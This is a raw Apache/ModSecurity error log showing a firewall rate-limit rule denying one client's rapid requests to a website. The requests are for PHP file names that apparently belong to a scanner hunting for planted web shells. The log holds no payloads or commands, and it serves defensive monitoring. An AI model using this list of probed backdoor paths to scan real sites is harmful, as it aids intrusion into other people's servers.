[Sat Apr 04 00:29:19.934378 2026] [:error] [pid 40533:tid 40543] [client 20.215.254.185:61074] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws86.php"] [unique_id "ac_q3_bIAA8AViDmwssL2gAAAUg"]
[Sat Apr 04 00:29:20.488693 2026] [:error] [pid 33447:tid 33521] [client 20.215.254.185:56239] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac_q4EgaPmDHz92j4lNwuQAAAJE"]
[Sat Apr 04 00:29:21.016494 2026] [:error] [pid 40533:tid 40555] [client 20.215.254.185:60562] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac_q4fbIAA8AViDmwssL4QAAAVQ"]
[Sat Apr 04 00:29:21.544207 2026] [:error] [pid 33445:tid 33454] [client 20.215.254.185:59218] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac_q4VlRNZ0iDVmJWM2FwgAAAAQ"]
[Sat Apr 04 00:29:22.057968 2026] [:error] [pid 40533:tid 40550] [client 20.215.254.185:64408] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac_q4vbIAA8AViDmwssL7QAAAU8"]
[Sat Apr 04 00:29:22.605616 2026] [:error] [pid 40533:tid 40556] [client 20.215.254.185:64507] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless.php"] [unique_id "ac_q4vbIAA8AViDmwssL8QAAAVU"]
[Sat Apr 04 00:29:23.129351 2026] [:error] [pid 33445:tid 33451] [client 20.215.254.185:60558] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless.php"] [unique_id "ac_q41lRNZ0iDVmJWM2FzQAAAAE"]
[Sat Apr 04 00:29:23.643814 2026] [:error] [pid 55174:tid 55180] [client 20.215.254.185:61094] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless.php"] [unique_id "ac_q45_WKqUonPNUHYwdUwAAAcQ"]
[Sat Apr 04 00:29:24.208870 2026] [:error] [pid 33445:tid 33467] [client 20.215.254.185:61552] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless.php"] [unique_id "ac_q5FlRNZ0iDVmJWM2F2AAAABE"]
[Sat Apr 04 00:29:24.734115 2026] [:error] [pid 55174:tid 55183] [client 20.215.254.185:61557] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac_q5J_WKqUonPNUHYwdWQAAAcc"]
[Sat Apr 04 00:29:25.255710 2026] [:error] [pid 40533:tid 40554] [client 20.215.254.185:60584] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac_q5fbIAA8AViDmwssMAAAAAVM"]
[Sat Apr 04 00:29:25.786446 2026] [:error] [pid 40562:tid 40584] [client 20.215.254.185:59761] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac_q5TfFMXuP9zvqCerC4AAAAZM"]
[Sat Apr 04 00:29:26.305097 2026] [:error] [pid 40562:tid 40570] [client 20.215.254.185:60544] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac_q5jfFMXuP9zvqCerC5gAAAYU"]
[Sat Apr 04 00:29:26.838966 2026] [:error] [pid 40533:tid 40556] [client 20.215.254.185:64472] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "ac_q5vbIAA8AViDmwssMCAAAAVU"]
[Sat Apr 04 00:29:27.362794 2026] [:error] [pid 40533:tid 40551] [client 20.215.254.185:54441] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "ac_q5_bIAA8AViDmwssMCwAAAVA"]
[Sat Apr 04 00:29:27.875588 2026] [:error] [pid 40533:tid 40536] [client 20.215.254.185:59249] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "ac_q5_bIAA8AViDmwssMEgAAAUE"]
[Sat Apr 04 00:29:28.388306 2026] [:error] [pid 40533:tid 40549] [client 20.215.254.185:61528] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "ac_q6PbIAA8AViDmwssMGQAAAU4"]
[Sat Apr 04 00:29:28.904806 2026] [:error] [pid 40533:tid 40546] [client 20.215.254.185:57168] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "ac_q6PbIAA8AViDmwssMHgAAAUs"]
[Sat Apr 04 00:29:29.431044 2026] [:error] [pid 40533:tid 40555] [client 20.215.254.185:56220] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "ac_q6fbIAA8AViDmwssMIwAAAVQ"]
[Sat Apr 04 00:29:29.942824 2026] [:error] [pid 40533:tid 40550] [client 20.215.254.185:59751] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "ac_q6fbIAA8AViDmwssMJwAAAU8"]
[Sat Apr 04 00:29:30.456164 2026] [:error] [pid 33446:tid 33489] [client 20.215.254.185:59812] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a7.php"] [unique_id "ac_q6tg3dCqFYIIdw0qqdgAAAEw"]
[Sat Apr 04 00:29:30.972041 2026] [:error] [pid 33445:tid 33462] [client 20.215.254.185:64462] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "ac_q6llRNZ0iDVmJWM2F5gAAAAw"]
[Sat Apr 04 00:29:31.496091 2026] [:error] [pid 40533:tid 40554] [client 20.215.254.185:61525] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "ac_q6_bIAA8AViDmwssMLgAAAVM"]
[Sat Apr 04 00:29:32.013847 2026] [:error] [pid 35469:tid 35483] [client 20.215.254.185:61514] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "ac_q7KGvTIc8-wY3jUTW5gAAAQw"]
[Sat Apr 04 00:29:32.532405 2026] [:error] [pid 40533:tid 40549] [client 20.215.254.185:61079] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "ac_q7PbIAA8AViDmwssMMQAAAU4"]
[Sat Apr 04 00:29:33.052813 2026] [:error] [pid 40533:tid 40546] [client 20.215.254.185:60585] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "ac_q7fbIAA8AViDmwssMNAAAAUs"]
[Sat Apr 04 00:29:33.570913 2026] [:error] [pid 33446:tid 33493] [client 20.215.254.185:61521] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "ac_q7dg3dCqFYIIdw0qqewAAAFA"]
[Sat Apr 04 00:29:34.106231 2026] [:error] [pid 40533:tid 40542] [client 20.215.254.185:61532] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "ac_q7vbIAA8AViDmwssMPQAAAUc"]
[Sat Apr 04 00:29:34.641341 2026] [:error] [pid 33446:tid 33501] [client 20.215.254.185:47567] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "ac_q7tg3dCqFYIIdw0qqfQAAAFg"]
[Sat Apr 04 00:29:35.171215 2026] [:error] [pid 40533:tid 40541] [client 20.215.254.185:64473] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ac_q7_bIAA8AViDmwssMRgAAAUY"]
[Sat Apr 04 00:29:35.683926 2026] [:error] [pid 40533:tid 40557] [client 20.215.254.185:63202] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ac_q7_bIAA8AViDmwssMSwAAAVY"]
[Sat Apr 04 00:29:36.229442 2026] [:error] [pid 33542:tid 33545] [client 20.215.254.185:56238] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ac_q8Hwb6uB1LaGtepZASwAAAMA"]
[Sat Apr 04 00:29:36.770504 2026] [:error] [pid 33447:tid 33522] [client 20.215.254.185:60570] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "ac_q8EgaPmDHz92j4lNwxAAAAJI"]
[Sat Apr 04 00:29:37.288598 2026] [:error] [pid 33445:tid 33474] [client 20.215.254.185:59747] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "ac_q8VlRNZ0iDVmJWM2F8wAAABg"]
[Sat Apr 04 00:29:37.813490 2026] [:error] [pid 40562:tid 40573] [client 20.215.254.185:60579] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "ac_q8TfFMXuP9zvqCerC9gAAAYg"]
[Sat Apr 04 00:29:38.380833 2026] [:error] [pid 40562:tid 40566] [client 20.215.254.185:61559] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "ac_q8jfFMXuP9zvqCerC9wAAAYE"]
[Sat Apr 04 00:29:38.896362 2026] [:error] [pid 40533:tid 40539] [client 20.215.254.185:59725] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-good.php"] [unique_id "ac_q8vbIAA8AViDmwssMWQAAAUQ"]
[Sat Apr 04 00:29:39.411152 2026] [:error] [pid 40533:tid 40535] [client 20.215.254.185:64497] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "ac_q8_bIAA8AViDmwssMYAAAAUA"]
[Sat Apr 04 00:29:39.929611 2026] [:error] [pid 35469:tid 35486] [client 20.215.254.185:59725] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "ac_q86GvTIc8-wY3jUTW6wAAAQ8"]
[Sat Apr 04 00:29:40.455999 2026] [:error] [pid 33542:tid 33550] [client 20.215.254.185:63224] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "ac_q9Hwb6uB1LaGtepZAVAAAAMU"]
[Sat Apr 04 00:29:41.020131 2026] [:error] [pid 33447:tid 33523] [client 20.215.254.185:60549] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "ac_q9UgaPmDHz92j4lNwxgAAAJM"]
[Sat Apr 04 00:29:41.606571 2026] [:error] [pid 40562:tid 40568] [client 20.215.254.185:63231] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac_q9TfFMXuP9zvqCerC_AAAAYM"]
[Sat Apr 04 00:29:42.139718 2026] [:error] [pid 55174:tid 55186] [client 20.215.254.185:60602] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac_q9p_WKqUonPNUHYwdigAAAco"]
[Sat Apr 04 00:29:42.664870 2026] [:error] [pid 33446:tid 33481] [client 20.215.254.185:59730] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac_q9tg3dCqFYIIdw0qqgAAAAEQ"]
[Sat Apr 04 00:29:43.203856 2026] [:error] [pid 33445:tid 33450] [client 20.215.254.185:61566] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac_q91lRNZ0iDVmJWM2GAQAAAAA"]
[Sat Apr 04 00:29:43.752171 2026] [:error] [pid 33445:tid 33465] [client 20.215.254.185:59207] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "ac_q91lRNZ0iDVmJWM2GAwAAAA8"]
[Sat Apr 04 00:29:44.267405 2026] [:error] [pid 33445:tid 33459] [client 20.215.254.185:45986] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "ac_q-FlRNZ0iDVmJWM2GCAAAAAk"]
[Sat Apr 04 00:29:44.782621 2026] [:error] [pid 33447:tid 33515] [client 20.215.254.185:60576] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "ac_q-EgaPmDHz92j4lNwygAAAIs"]
[Sat Apr 04 00:29:45.333460 2026] [:error] [pid 33542:tid 33547] [client 20.215.254.185:61100] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "ac_q-Xwb6uB1LaGtepZAXAAAAMI"]
[Sat Apr 04 00:29:45.922290 2026] [:error] [pid 40533:tid 40556] [client 20.215.254.185:63209] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gptsh.php"] [unique_id "ac_q-fbIAA8AViDmwssMdAAAAVU"]
[Sat Apr 04 00:29:46.456635 2026] [:error] [pid 40533:tid 40558] [client 20.215.254.185:60598] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gptsh.php"] [unique_id "ac_q-vbIAA8AViDmwssMeAAAAVc"]
[Sat Apr 04 00:29:47.037068 2026] [:error] [pid 33445:tid 33454] [client 20.215.254.185:59203] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gptsh.php"] [unique_id "ac_q-1lRNZ0iDVmJWM2GFAAAAAQ"]
[Sat Apr 04 00:29:47.553152 2026] [:error] [pid 33542:tid 33548] [client 20.215.254.185:61544] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gptsh.php"] [unique_id "ac_q-3wb6uB1LaGtepZAZAAAAMM"]
[Sat Apr 04 00:29:48.083329 2026] [:error] [pid 40562:tid 40573] [client 20.215.254.185:63175] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "ac_q_DfFMXuP9zvqCerDBgAAAYg"]
[Sat Apr 04 00:29:48.669885 2026] [:error] [pid 33445:tid 33460] [client 20.215.254.185:56233] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new3.php"] [unique_id "ac_q_FlRNZ0iDVmJWM2GGgAAAAo"]
